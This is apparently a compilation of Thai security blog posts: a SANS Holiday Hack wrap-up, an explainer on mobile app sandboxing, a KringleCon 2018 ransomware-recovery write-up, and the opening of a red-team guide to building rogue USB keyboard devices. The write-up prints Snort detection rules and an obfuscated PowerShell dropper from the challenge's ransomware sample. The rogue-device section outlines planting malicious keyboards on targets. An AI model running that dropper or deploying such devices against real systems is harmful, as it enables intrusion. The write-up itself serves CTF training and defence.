คำถามข้อที่ 9 Which character is ultimately the villain causing the giant snowball problem. What is the villain’s motive?
คำตอบคือ Glinda the Good Witch of Oz. The motive is to get the profit from the war between Oz and the North Pole. โดยคำตอบได้มาจากการ Solve ปัญหาต่าง ๆ ในเกม สุดท้ายจะมี conversation พิเศษแสดงออกมาที่ dashboard ในเกม
จบแล้วครับสำหรับ SANS Holiday Hack Challenge ประจำปี 2017 ซึ่งเป็น Challenge ที่น่าประทับใจเช่นเคย
# ทำความรู้จักกับ Application Sandboxing บน Mobile Platform
เมื่อพูดถึงกลไกการรักษาความปลอดภัยของ Smartphone ในปัจจุบัน ไม่ว่าจะ iOS, Android หรือ Windows Phone ล้วนมีกลไกการรักษาความปลอดภัยพื้นฐานมาอยู่แล้วซึ่งช่วยให้ผู้ใช้งานทั่วไปสามารถใช้งาน Smartphone ได้อย่างมั่นคงปลอดภัยในระดับหนึ่ง
:br:br
วันนี้ผมขอยก 1 ใน feature การรักษาความปลอดภัยของ Smartphone ที่เรียกว่า Application Sandboxing มาอธิบายให้ฟัง ว่า Application Sandboxing คืออะไร และมีดีอย่างไร
## Application Sandboxing คืออะไร
Sandbox ในทาง Computer Security ก็คือการรันโปรแกรมหรือแอปพลิเคชัน ในสภาพแวดล้อมที่ถูกแยกออกจาก Host OS (เหมือนรันโปรแกรมบน Virtual Machine) เพื่อจำกัดไม่ให้โปรแกรมดังกล่าวเข้าถึงไฟล์ของระบบ หรือไฟล์ของโปรแกรมอื่น ๆ โดยไม่ได้รับอนุญาต และเพื่อให้ง่ายต่อการควบคุมสิทธิในการเข้าถึงของ โปรแกรมที่อยู่ใน Sandbox ด้วย โดยทั่วไปเมื่อพูดถึง Sandbox หลายคนจะคุ้นเคยกับการนำไปใช้เพื่อทดสอบพฤติกรรมของโปรแกรมที่น่าสงสัยว่าอาจมี Malware แอบแฝงอยู่ ทั้งนี้เพื่อจำกัดการแพร่กระจายของ Malware ไม่ให้ออกมานอก Sandbox ในทางกลับกัน เมื่อ Sandbox สามารถป้องกันไม่ให้โปรแกรมที่รันอยู่ภายในไปทำอันตรายโปรแกรมอื่น ๆ หรือระบบที่อยู่ภายนอก ดังนั้น Sandbox ก็สามารถป้องกันไม่ให้โปรแกรมอื่นที่อยู่นอก Sandbox เข้าถึงข้อมูล เปลี่ยนแปลง/แก้ไข หรือลบข้อมูลของโปรแกรมที่อยู่ใน Sandbox ได้เช่นเดียวกัน
## หลักการของ Mobile Application Sandboxing
คือการใช้ Sandbox ในการแยกการทำงานของแต่ละแอปพลิเคชันบนมือถือแบบ 1 แอปพลิเคชัน ต่อ 1 Sandbox และมีการกำหนดสิทธิในการเข้าถึงข้อมูลและทรัพยากรของระบบไว้อย่างชัดเจน ทำให้แอปพลิเคชันไม่สามารถเข้าถึงข้อมูลข้ามกันได้ แต่ในกรณีที่แอปพลิเคชันจำเป็นต้องแชร์ข้อมูล เข้าถึงข้อมูลของแอปพลิเคชันอื่น หรือข้อมูลของระบบ ก็ยังคงสามารถทำได้ผ่าน API ของระบบที่แต่ละเจ้าได้ทำรองรับไว้ให้ เพื่อร้องขอสิทธิเพิ่มเติมในการเข้าถึงข้อมูลที่จำเป็นอีกที
:br:br
ที่ได้อธิบายไปข้างต้นนั้นคือทฤษฎีล้วน ๆ แต่เมื่อนำมาใช้จริงในทางปฏิบัติ บนระบบปฏิบัติการที่มีโครงสร้างต่างกัน แน่นอนว่านิยามของ Application Sandboxing ของแต่ละเจ้าก็จะต่างกันออกไป แต่ว่าก็ยังคงคุณสมบัติตามที่กล่าวไปข้างต้นได้เหมือนเดิม ต่อไปจะขอพูดถึง Application Sandboxing บนแต่ละระบบปฏิบัติการว่าแท้จริงแล้วเป็นอย่างไร
## Application Sandboxing ของ iOS
สำหรับ Application Sandboxing ของ iOS จะเรียกได้ว่ามีความคล้ายกับคอนเซ็ปต์มากที่สุด คือ แอปพลิเคชันจะถูกรันด้วย user เดียวกันคือ "mobile" แต่ละแอปพลิเคชันก็จะถูกรันอยู่บน Sandbox อีกที
:br:br
สำหรับ iOS ตั้งแต่ที่แอปพลิเคชันถูกติดตั้งลงบนเครื่อง แอปพลิเคชันจะถูกกำหนดสิทธิในการเข้าถึงแบบต่ำที่สุด คือสามารถอ่าน/เขียนข้อมูลที่อยู่ใน Directory ของตัวแอปพลิเคชันเองเท่านั้น แทบจะเข้าถึงทรัพยากรหรือข้อมูลอื่น ๆ ของระบบไม่ได้เลย จึงถือเป็นข้อดีสำหรับผู้ใช้งานทั่วไปที่แอปพลิเคชันจะไม่สามารถเข้าถึงข้อมูลบนมือถือโดยไม่ได้รับอนุญาต เมื่อแอปพลิเคชันถูกรัน หากมีสิทธิใดที่แอปพลิเคชันดังกล่าวจำเป็นต้องใช้ แต่ยังไม่ได้รับอนุญาตให้เข้าถึง แอปพลิเคชันสามารถใช้ API ของระบบเพื่อร้องขอให้ผู้ใช้งานอนุญาตให้แอปพลิเคชันสามารถเข้าถึงทรัพยากรที่จำเป็นต่อการทำงานได้ ที่มักเห็นบ่อย ๆ ก็คือการขอสิทธิในเข้าถึงการแจ้งเตือน หรือการขอเข้าถึงกล้องและไมโครโฟน เป็นต้น
การอนุญาตสิทธิให้กับแอปพลิเคชันจะทำเพียงครั้งแรกครั้งเดียวเท่านั้น ไม่ต้องอนุญาตทุกครั้งที่แอปพลิเคชันต้องการเข้าถึงส่วนดังกล่าว แต่ก็แลกมาด้วยข้อเสียด้านความเป็นส่วนตัวคือแอปพลิเคชันจะสามารถเข้าถึงสิ่งที่เราได้อนุญาตไปแล้วได้ตลอดเวลา สำหรับการจัดการกับสิทธิที่เราเคยอนุญาตให้กับแต่ละแอปพลิเคชัน สามารถทำได้ 2 วิธี คือ
1. ไปที่ Setting -> \[ชื่อแอปพลิเคชัน] สำหรับจัดการสิทธิแบบเจาะจงแอปพลิเคชัน
2. ไปที่ Setting -> Privacy -> \[ชื่อทรัพยากร] สำหรับจัดการสิทธิแบบเจาะจงทรัพยากรแทน เช่น ต้องการดูว่ามีแอปพลิเคชันใดที่สามารถเข้าถึงไมโครโฟนได้บ้าง ก็ให้ไปที่ Setting -> Privacy -> Microphone เป็นต้น
ถ้าต้องการเข้าถึงข้อมูลที่อยู่ใน Sandbox แน่นอนว่า วิธีที่ชัวร์ที่สุดคือการ jailbreak เครื่องให้ได้สิทธิ root ก็จะสามารถเข้าถึงข้อมูลทุกอย่างบน iOS ได้ แต่ก็ไม่ใช่ทุกคนที่จะอยาก jailbreak เครื่องตัวเองแน่นอน
อีกวิธีหนึ่งในการเข้าถึงข้อมูลที่อยู่ใน Sandbox โดยที่ไม่ต้อง jailbreak คือการใช้เครื่องมือที่ชื่อว่า [iFunbox](http://www.i-funbox.com/){rel=""nofollow""}, iFunbox ใช้ AFC (Apple File Conduit) protocol ที่ iTunes ใช้ในการเข้าถึงข้อมูลที่อยู่ใน Sandbox \*\*แต่น่าเสียดาย ตั้งแต่ iOS 8.3 ขึ้นไป Apple ได้ปิดช่องทางนี้เป็นที่เรียบร้อย โดยกำหนดให้แค่ iTunes เพียงโปรแกรมเดียวที่สามารถเข้าถึงข้อมูลใน Sandbox ได้ ทำให้ iFunbox สามารถเข้าถึงข้อมูลใน Sandbox ของ iOS nonjailbreak ที่เป็นเวอร์ชันต่ำกว่า 8.3 เท่านั้น\*\* สำหรับ iOS 8.3+ เจ้าของแอปสามารถไปตั้งค่า *UIFileSharingEnabled* ให้เป็น *True* ได้ในไฟล์ *iTunesMetadata.plist* เพื่ออนุญาตให้ AFC สามารถเข้าถึงข้อมูลที่อยู่ใน Sandbox ได้ โดย default ค่านี้จะถูกกำหนดมาเป็น False
## Application Sandboxing ของ Android
Sandbox บน Android จะต่างกับ iOS อย่างสิ้นเชิง คือแอปพลิเคชันจะไม่ได้รันบน Sandbox แต่ว่าแต่ละแอปพลิเคชันจะรันบน memory ที่เป็นแยกจากกันอย่างสิ้นเชิงแทน ไม่มีการแชร์ memory ทำให้แอปพลิเคชันไม่สามารถแทรกแซงการทำงานหรือแก้ไขค่าที่อยู่บน memory ของแอปพลิเคชันอื่น ๆ ได้ นอกจากนี้แต่ละแอปพลิเคชันจะถูกกำหนด user เฉพาะขึ้นมาสำหรับรันแอปพลิเคชันดังกล่าวเท่านั้น ทำให้ทุกแอปพลิเคชันจะถูกรันบน user ที่ไม่ซ้ำกัน
การรันบน Memory ที่แยกจากกัน และใช้ user ที่ไม่ซ้ำกัน แทนที่จะรันบน Sandbox ทำให้แอปพลิเคชันจะมีอิสระในการอ่าน/เขียน ข้อมูลใด ๆ บนระบบก็ได้ ที่ได้รับอนุญาต หมายความว่า ในขณะที่ iOS ใช้ Sandbox ในการจัดการและจำกัดสิทธิของแอปพลิเคชัน Android กลับเลือกที่จะใช้ OS ในการจัดการสิทธิของแอปพลิเคชันแทน ด้วยการกำหนด user ที่แตกต่างกันให้กับแต่ละแอปพลิเคชัน แต่ว่าก็ยังคงคุณสมบัติที่ว่าแต่ละแอปพลิเคชันจะไม่สามารถแทรกแซงหรือเข้าถึงข้อมูลของกันและกันได้อยู่
สำหรับการกำหนดสิทธิให้กับแอปพลิเคชันของ Android ผู้ใช้จะต้องอนุญาตสิทธิทุกอย่างที่ตัวแอปพลิเคชันร้องขอตั้งแต่ตอนติดตั้ง และไม่สามารถเลือกอนุญาตเฉพาะบางสิทธิได้ ซึ่งแตกต่างจาก iOS ที่จะมีการร้องขอเมื่อจะใช้เท่านั้น ทำให้บางแอปพลิเคชันบน Android มีการประกาศสิทธิบางอย่างโดยไม่จำเป็น ที่ผู้พัฒนาลืมลบออกหรือจงใจซึ่งอาจเกิดผลกระทบด้านความเป็นส่วนตัวตามมา โดยสิทธิทั้งหมดที่แอปพลิเคชันได้ร้องขอจะถูกประกาศไว้ในไฟล์ *AndroidManifest.xml*
ช้าก่อน!…ตั้งแต่ API 23 ขึ้นไป (Android 6 ขึ้นไป) Android ได้ใช้งานการโมเดลในการกำหนดสิทธิให้กับแอปพลิเคชันแบบใหม่ ก็คือแทนที่ผู้ใช้จะต้องอนุญาตทั้งหมดตั้งแต่ตอนติดตั้ง เป็นอนุญาตเมื่อมีการใช้ของานแทน (แบบ iOS) ซึ่งอันนี้ขึ้นอยู่กับผู้พัฒนาแอปพลิเคชันนั้น ๆ ว่ากำหนดไว้แบบไหน นอกจากนี้แล้ว API 23 ขึ้นไปยังจำแนกประเภทของสิทธิออกเป็น 2 ระดับ คือสิทธิทั่วไป กับ สิทธิอันตราย [ดูรายละเอียดเพิ่มเติมเกี่ยวกับการจำแนกสิทธิ](https://developer.android.com/guide/topics/permissions/overview){rel=""nofollow""}
นอกจากสิทธิทั่วไปกับสิทธิอันตรายแล้ว Android ยังมีสิทธิพิเศษอีกอันนีงในชื่อ *BIND\_DEVICE\_ADMIN* ซึ่งคือการขอสิทธิ root ของระบบนั่นเอง ซึ่งหากแอปพลิเคชันมีการร้องขอสิทธินี้ หน้าตาสำหรับการอนุญาตสิทธินี้จะแตกต่างกับการอนุญาตสิทธิแบบทั่วไป
สำหรับการเข้าถึงข้อมูลที่ถูกเก็บอยู่ในแอปพลิเคชัน Android จะกำหนดสิทธิให้เฉพาะผู้ใช้ที่เป็นเจ้าของ directory ดังกล่าวเท่านั้นในการอ่านและเขียนข้อมูลเหล่านั้นได้ ซึ่งก็แน่นอนว่า วิธีที่ชัวร์ที่สุดคือการ root เครื่องนั่นเอง แต่สำหรับ Android เราสามารถเปิด USB Debugging เพื่อใช้ adb root ในการ shell เข้าไปผ่าน USB แทนที่จะต้อง root เครื่องจริง ๆ
## Application Sandboxing ของ Windows Phone
ต้องเกริ่นถึงโครงสร้างของตัว Windows Phone สักเล็กน้อยว่า Windows Phone ใช้ .NET Framework ในการรันแอปพลิเคชัน และแอปพลิเคชันจะถูกเขียนจาก 2 เครื่องมือหลัก ๆ อย่าง Silverlight และ XNA
ซึ่งตัว runtime ของทั้ง Siverlight และ XNA ล้วนมี Application Sandboxing feature อยู่แล้ว ทำให้แอปพลิเคชันที่รันบน Windows Phone จะถูกรันบน Sandbox เช่นเดียวกับ iOS นั่นเอง
ในขณะที่ platform อื่น ๆ ปล่อยให้แอปพลิเคชันเขียน หรือสร้างไฟล์ต่าง ๆ บน directory ของระบบ, Windows Phone มีทางเลือกในการเก็บข้อมูลของแอปพลิเคชันบนสิ่งที่เรียกว่า Windows Phone Isolated Storage ซึ่งมีรูปแบบคล้ายกับฐานข้อมูลทั่วไปที่ถูกออกแบบมาเพื่อป้องกันการเข้าถึงโดยแอปพลิเคชันอื่น
เรื่องการจัดการสิทธิของแอปพลิเคชันบน Windows Phone จะมีความคล้ายคลึงกับ Android แต่จะมีการจัดการเรื่อง Privacy ได้ดีกว่า ไม่ให้แอปเข้าถึงข้อมูลที่ sensitive เกินความจำเป็น
สำหรับการเข้าถึงไฟล์บน Windows Phone หากเป็นเวอร์ชัน 7 ลงไปสามารถเข้าถึงได้ผ่าน Windows PC หรือ Laptop เพียงเชื่อมต่อมือถือผ่าน USB แต่น่าเสียดายที่ตั้งแต่ Windows Phone 8 เป็นต้นไปมีการจำกัดสิทธิในการเข้าถึงไฟล์บนระบบให้เข้าถึงได้ยากขึ้น และไม่สามารถเข้าได้ตรง ๆ แบบ 7 อีกต่อไป โดยในปัจจุบันยังไม่มีเครื่องมือที่รองรับในการเข้าถึงข้อมูลของ Window Phone 8 ขึ้นไปอย่างเต็มที่
# KringleCon; HolidayHackChallenge 2018 ข้อ 9
จบไปแล้วกับการ submit คำตอบของ SANS Holiday Hack Challenge ประจำปี 2018 โดยในปีนี้มีมาในชื่อของ KringleCon ([https://kringlecon.com](https://kringlecon.com/){rel=""nofollow""}) มี Theme เป็นการจัด สำหรับโจทย์ในปีนี้ถูกแบ่งออกเป็น 10 ข้อ โดยข้อที่ท้าทายที่สุดในความคิดผมคือข้อที่ 9 Ransomware Recovery
โจทย์ข้อนี้คือ มีเครื่องของ NPC ติด ransomware ชื่อ WannaCookie เรามีหน้าที่ที่จะต้องทำการ Detect เจ้า malware ตัวนี้ พร้อมทั้งทำหน้าที่กู้ไฟล์ในเครื่องเพื่อนำมาใช้เพื่อเปิดประตูที่มี Access Control อยู่ โดยข้อมูลที่เราได้รับมาพร้อมกับโจทย์คือ ไฟล์ที่ถูกเข้ารหัสไว้โดย WannaCookie และ memory dump จาก infected machine โจทย์ข้อนี้แบ่งออกเป็น 4 ส่วนย่อยดังต่อไปนี้
1. Catch the Malware
2. Identify the Domain
3. Stop the Malware
4. Recover Alabaster’s Password
## เริ่มจากข้อแรก Catch the Malware
เป้าหมายของข้อนี้คือการให้เราฝึกเขียน Snort rule เพื่อทำการ detect malware communication โดยจะมี file pcap มาให้วิเคราะห์ ซึ่งถ้าเปิดดูก็จะเห็นได้ค่อนข้างชัดเจนว่ามี DNS Traffic แปลก ๆ โดยลักษณะของความแปลกนี้คืออยู่ในรูปแบบของ TXT record ที่มี Format
- \.domainname.TLD (Top Level Domain)
- :number[.\.domainname.TLD (Top Level Domain)]
- โดยค่า TXT record แปลก ๆ นี้อยู่ทั้งใน DNS Query และ DNS Response

เมื่อเห็น pattern แล้วเราก็สามารถเขียน Snort rule ได้ไม่ยาก โดย rule ที่เราจะเขียนคือ
- Protocol เป็น UDP
- ถ้าในกรณีที่เป็น DNS Request ค่าของ Destination Port จะเป็น Port 53 (DNS)
- ถ้าในกรณีที่เป็น DNS Response ค่าของ Source Port จะเป็น Port 53
- โดยทำการตรวจสอบตาม Regular expression ดังต่อไปนี้ /\[0–9]{0,3}\\&\[0–9A-F]{10,}/ โดยตรวจสอบ 3 ส่วนคือค่าตัวเลข 3 หลัก (โดยอาจจะไม่มีก็ได้) ตามด้วย & (ค่านี้ถ้าเราดูใน raw packet จะเห็นว่ามีก่อนเริ่ม Hex 32 ตัวอักษร) ตามด้วยค่า Hex อย่างน้อย 10 ตัวอักษรขึ้นไป (ที่เลือกแค่ 10 เพราะคิดว่าถ้าเกินกว่านี้ก็ผิดปกติแล้ว)

จากนั้นก็นำ rule ไปเขียนใน file /etc/snort/rules/local.rules
```bash
alert udp any any -> any 53 ( msg:"Detect malicious DNS request"; pcre:"/\[0-9\]{0,3}\\&\[0-9A-F\]{10,}/"; sid:12345; )alert udp any 53 -> any any ( msg:"Detect malicious DNS response"; pcre:"/\[0–9\]{0,3}\\&\[0–9A-F\]{10,}/"; sid:123456; )
```
โดย rule ของ snort จะมี Syntax อยู่ 2 ส่วนคือ Rule Header และ Rule Option ในส่วนของ Option ก็สามารถระบุได้หลากหลายรุปแบบขึ้นอยู่กับความต้องการของเราว่าจะ Detect อะไร แต่ส่วนที่จำเป็นคือ msg (จะให้ขึ้นใน log ว่าอะไรถ้า detect เจอ), sid (Signature Unique ID เป็นค่า unique ในแต่ละ rule)

ในส่วนของการเขียน Snort rule และ Regular expression สามารถใช้เว็บ snopy.com และ regex101.com ช่วยเขียนได้ครับ

เท่านี้เราก็จะผ่านส่วนแรกไปได้ เมื่อตอบคำถามในส่วนที่ 1 สำเร็จแล้วเราจะต้องคุยกับ NPC ในเกมส์เพื่อให้เนื้อเรื่องดำเนินต่อ โดย NPC ในเกมส์จะให้ไฟล์ zip ชื่อว่า CHOCOLATE\_CHIP\_COOKIE\_RECIPE.zip สามารถ download ได้ที่ {rel=""nofollow""} โดย password สำหรับ unzip คือ elves
## ข้อที่ 2 Identify the Domain
เมื่อ extract file ออกมาจะได้ file DOCX ซึ่งเป็น Malware dropper โดยมี macro embedded มาด้วย สามารถใช้ Olevba เพื่อ extract macro ({rel=""nofollow""}) หรือ ถ้าจะลูกทุ่งหน่อยก็เปิด file นี้แล้ว disable macro ทิ้งจากนั้นเข้าหน้า Developer แล้วเลือก Visual Basic เพื่อดู script


หน้าที่ต่อคือเราต้องศึกษา Script นี้เพื่อดูว่ามันทำหน้าที่อะไรบ้าง โดยใน KringleCon แนะนำให้ดู Clip ของ Chris
{rel=""nofollow""}
เมื่อดูเสร็จก็ทำการ Clean up ตามที่เค้าแนะนำจะได้
```bash
sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream(\[IO.MemoryStream\]\[Convert\]::FromBase64String(‘lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gX REohG’),\[IO.Compression.CompressionMode\]::Decompress)),\[Text.Encoding\]::ASCII)).ReadToEnd()
```
ถ้าเอา code นี้ไป run ใน powershell ก็จะเห็นว่ามีการพยายาม communicate กับ domain ที่ชื่อว่า "erohetfanu.com"

## ข้อที่ 3 Stop the Malware
ข้อนี้ทำคล้ายกับ WannaCry ที่มี kill switch domain คือเมื่อเครื่อง infect malware จะทำการติดต่อ Domain iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com ก่อน ถ้าพบว่า domain นี้ไม่มีการ register WannaCry ก็จะทำงานต่อ แต่ถ้า domain นี้มีการ register แล้ว WannaCry ก็จะไม่ทำงาน โดย NPC ในเกมส์ก็ได้ hint ว่าเจ้า malware (ในเกมชื่อว่า WannaCookie) นี้น่าจะมี Kill switch domain ลักษณะเดียวกับ WannaCry
เหมือนเดิมใช้วิธีใน YouTube ด้านบน หลัก ๆ คือเปลี่ยนจาก iex เป็น Write-Ouput เราจะได้รู้ว่า code ที่ใช้ execute คืออะไร

นำ output มาจัดเรียงใหม่ซักหน่อยเพื่อที่จะได้ช่วยให้อ่านได้รู้เรื่องมากขึ้น

โดย Main function ของ code นี้จะอยู่ที่ wanc

โดยส่วนที่พยายามจะ resolve DNS ในตอนเริ่มของ code คือท่อนที่มีการ Highlight ไว้ พวก Function H2A, B2H, B2H, G2B, H2B โดยกลุ่ม Function พวกนี้คือการ convert ค่าระหว่า Hexadecimal, Bytes, ASCII, Decimal ทำการ Debug ที่ Function ti\_rox เพื่อดูว่าค่าอะไรที่ถูก return ออกมาตอนจบ Function พบว่าเป็นค่า Decimal

นำค่า Decimal ไป convert เป็น ASCII พบว่าได้เป็น String ว่า yippeekiyaa.aaay ซึ่งค่านี้ก็คือชื่อ Kill switch domain นั่นเอง เมื่อนำไป register เราก็จะผ่านข้อนี้ได้

## ข้อที่ 4 Recover Alabaster’s Password
ข้อนี้คือจะพยายามให้ Decrypt ไฟล์ที่ถูกเข้ารหัสอยู่ โดยในไฟล์นี้จะมี password ของ NPC ที่ชื่อ Alabaster อยู่ โดยสามารถ download ได้ที่ {rel=""nofollow""} เมื่อแตก Zip จะได้ 2 files คือ file ที่ถูก encrypt อยู่ และ memory dump จากเครื่องของ Alabaster ตอนที่ malware เริ่มทำงาน
ถ้าเอา code จากข้อ 3 มาไล่อ่านจะพบว่าการทำงานของ WannaCookie เป็นดังนี้

การทำงานของ WannaCookie เริ่มจากไปเรียกค่า Public Key มาโดยใช้ g\_o\_dns(7365727665722E637274) ซึ่งค่า hexadecimal 7365727665722E637274 ถ้าแปลงเป็น ASCII จะได้ server.crt
จากนั้นทำการสร้าง AES Key แบบ Random เอาค่า Key นี้ convert ไปเป็น format ที่ต้องการ แล้วสร้าง Sha-1 hash ไว้ จากนั้นเอา Public Key ทำการ Encrypt ค่า AES Key แล้วทำการเก็บไว้ในตัวแปรชื่อ $p\_k\_e\_k
จากนั้นนำค่า AES Key ไปทำการ encrypt file ต่าง ๆ ในเครื่อง แล้วก็ทำการ clear ค่า AES key ทิ้ง (การ Clear ค่า AES Key ทิ้งเพื่อไม่ให้เราสามารถ recover AES Key ได้จาก memory dump)
เมื่อเราเข้าใจการทำงานของ WannaCookie แล้วขั้นตอนการ Decrypt ก็ไม่ยากมาก

Note: สำหรับการ Decrypt นี้เนื่องจาก Server มีช่องโหว่ทำให้เราสามารถดึงค่า Private Key ได้ดังนั้นทำให้เราสามารถที่จะ Decrypt file ที่ติด ransomware ได้ ในสถานการณ์จริงก็ต้องดูด้วยว่า Malware Author นั้นเก่งแค่ไหน และมีจุดผิดพลาดตรงไหน
เริ่มจากหาค่า $p\_k\_e\_k ใน memory เนื่องจากค่านี้ไม่ได้ถูก clear ดังนั้น่าจะต้องมีเหลืออยู่ใน memory ทำการ debug ค่าของ $p\_k\_e\_k ใน PowerShell ISE พบว่าค่านี้มีความยาว 512 ตัวอักษรในรูปแบบของ hexadecimal โดยตัวอย่างของค่าต่าง ๆ ที่น่าสนใจเป็นไปตามรูปด้านล่าง

เมื่อเราทราบความยาวของ $p\_k\_e\_k แล้วเราจะใช้เป็นตัว filter ค่าใน memory โดยอาศัยความรู้ที่ได้จาก YouTube ด้านบนโดย Chris เหมือนเดิม คราวนี้ใช้ powerdump โดย filter ที่ใช้คือ len == 512

มีค่าเดียวใน memory dump ที่มีความยาว 512 คือ
```text
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
```
เมื่อได้ค่าที่เราคาดว่าเป็น $p\_k\_e\_k แล้วขั้นตอนต่อไปจะเป็นการดึงค่า Private Key จาก Server โดยเราใช้ function g\_o\_dns ที่ใช้ดึงค่า Public Key ตอน Encryption นั่นแหละ
ชื่อ file "server.crt" hexadecimal คือ 7365727665722E637274 ถ้าต้องการชื่อ file อื่น เราก็สามารถที่จะแก้ hexadecimal value เป็นค่าอื่น ในกรณีนี้ต้องการ server.key ค่า hexadecimal คือ 7365727665722e6b6579 ใน PowerShell เรียก g\_o\_dns(7365727665722e6b6579) เราจะได้ค่า Private Key

จากนั้นนำค่า Private Key และ Public Key ที่ได้มาประกอบร่างกันโดย convert เป็น PFX format เพื่อนำไปใช้ใน Windows โดยใช้ OpenSSL
```bash
$ openssl pkcs12 -export -out -inkey -in
```
เมื่อรวมได้แล้วลองนำไฟล์เปิดใน Windows ก็จะเห็นว่ามีเขียนว่ามี Private Key อยู่ด้วย

จากนั้นเขียน PowerShell Script เพื่อทำการ Decrypt file
```bash
#Create certificate object$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;#Imports a private key and certificate into the certificate object$cert.Import("C:\\Users\\Administrator\\Desktop\\certificate.pfx", "password", "Exportable");#p_k_e_k value which get from memory dump$enc\_key = "3cf9…..f971";#format conversion$enc_key2 = H2B($enc\_key);#Decrypt p\_k\_e\_k to get the AES key$key = $cert.PrivateKey.Decrypt($enc_key2, $true);#Reference to infected file$f_c = "C:\\Users\\Administrator\\Desktop\\alabaster_passwords.elfdb.wannacookie";#Decrypt the fileเe_d_file $key $f_c $false;
```
เมื่อ Decrypt สำเร็จจะได้ alabaster\_password.elfdb มา จากนั้นใช้คำสั่ง file จะรู้ว่าเป็น SQLite database เปิดดูจะเห็นว่าเป็น password ทั้งหมด อันที่สนใจในข้อนี้คือ password สำหรับ vault ดังนั้นคำตอบคือ "ED#ED#EED#EF#G#F#G#ABA#BA#B"

จบ
# ทำ Rogue Device เพื่อแทรกซึมเข้าสู่ระบบเครือข่ายเป้าหมาย
ถ้าพูดถึงการแทรกซึม (Infiltrate) หลาย ๆ คนน่าจะเคยได้ยินมาบ้างจากหนังสงครามหรือหนังแนวสายลับ ในทาง Cybersecurity เองก็มีการใช้คำนี้ด้วยเช่นกัน ไม่ว่าจะเป็นการส่ง Spear Phishing โจมตีเป้าหมายแบบเฉพาะเจาะจง การเล่นงาน Vendor หรือ Service Provider ที่ทำงานให้กับองค์กรเป้าหมายเพื่อแทรกซึมอย่างแนบเนียน
## ทำไมถึงทำ Rogue Device
สำหรับ Methodology ในการทำ Cyber Drill (ถ้าใครเคยเจอคำว่า Cyber Exercise, Red Teaming, หรือ Adversary Simulation คำเหล่านี้สามารถใช้ทดแทนกันได้) มีหลากหลายแล้วแต่เราจะเลือกใช้แบบไหน เพื่อ Context อะไร แต่ในบทความนี้เราขออ้างอิงถึง ATT\&CK (Adversarial Tactics Techniques and Common Knowledge) ของ MITRE ที่เป็น Framework แสดงให้เห็น Matrix ของ Tactics และ Techniques ที่ผู้โจมตีเลือกใช้ในแต่ละขั้นตอนของการโจมตี หากต้องการดูรายละเอียด ATT\&CK เพิ่มเติมให้ไปดูต่อได้ที่ {rel=""nofollow""}

Column แสดงถึง Tactics (ยุทธวิธี) ส่วน Row แสดงถึง Techniques ที่สามารถเลือกใช้เพื่อบรรลุ Tactics นั้น ๆ
Hardware Additions คือเทคนิคที่ทำการดัดแปลงหรือใช้ Hardware ในการแทรกซึมเข้าสู่องค์กรเป้าหมายใน Step ของ Tactic: Initial Access สาเหตุที่เลือกใช้ Rogue Device เพราะมันมีความเป็นไปได้สูงที่คนที่ได้รับอุปกรณ์ที่ใช้งานได้ จะเอาไปใช้ต่อจริง ๆ ไม่ว่าจะเป็นการใช้งานในที่ทำงานหรือที่บ้าน การไปแจก USB Flash Drive แล้วหวังว่าจะมีคนจิ้มใช้งานหลาย ๆ คน ในปัจจุบันองค์กรแต่ละแห่งตื่นตัวเรื่องดังกล่าวมาหลายปีแล้ว การแจก Flash Drive น่าจะไม่ Work และทำอะไรกับองค์กรเหล่านั้นไม่ค่อยได้ผล
## วิธีการทำ Rogue Device
Rogue Device ที่จะทำขึ้นนั้นเราจะดัดแปลงอุปกรณ์ Mouse/Keyboard ที่ใช้งานกันทั่วไปให้มันมีวัตถุประสงค์ในการโจมตีแทนที่จะเป็นอุปกรณ์แบบปกติ หากเราไม่อยากยุ่งเรื่อง Hardware ด้วยตัวเองและมีงบมากพอ เราอาจหาซื้อแบบสำเร็จรูปมาใช้เลยก็ได้ เช่นอุปกรณ์แนว [USB Rubber Ducky](https://shop.hak5.org/products/usb-rubber-ducky-deluxe){rel=""nofollow""} แต่งานนี้เราต้องทำขึ้นมาหลายตัวและต้องส่งไปหาเป้าหมายหลาย ๆ คนด้วย การแจกอุปกรณ์แนว USB Rubber Ducky ที่มีราคาสูงและดูคล้าย ๆ USB Flash Drive แล้วหวังผลจากการแทรกซึมน่าจะยากถ้าเจอกับพวกที่มี Security Awareness ดี ๆ เราจึงต้องทำ Rogue Device ขึ้นมาเองและทำให้เนี๊ยบขึ้นด้วยการใช้ Arduino

ซ้ายมือ — DigiSpark, ตรงกลาง — Arduino Beetle เมื่อเทียบกับเหรียญ 1 บาท
เราใช้ Arduino ขนาดเล็ก เพื่อดัดแปลงเป็นตัว Receiver ให้กับอุปกรณ์ Mouse/Keyboard ดังนั้น Software ที่จะใส่เข้าไปใน Arduino จะเลือกใช้ให้มันทำงานแบบ Malicious Keyboard ทำตามที่เราต้องการหลังจากที่เหยื่อนำไปเสียบที่เครื่องของตัวเองผ่าน USB Port ซึ่งจะทำงานแบบเดียวกับ USB Rubber Ducky ด้วยราคาที่ถูกกว่า ขนาดที่เล็กกว่า และด้วย Features ที่น้อยกว่าแต่เพียงพอสำหรับงานนี้ ก่อนอื่นให้ไป Download Arduino IDE และทำการ Install ให้เรียบร้อย

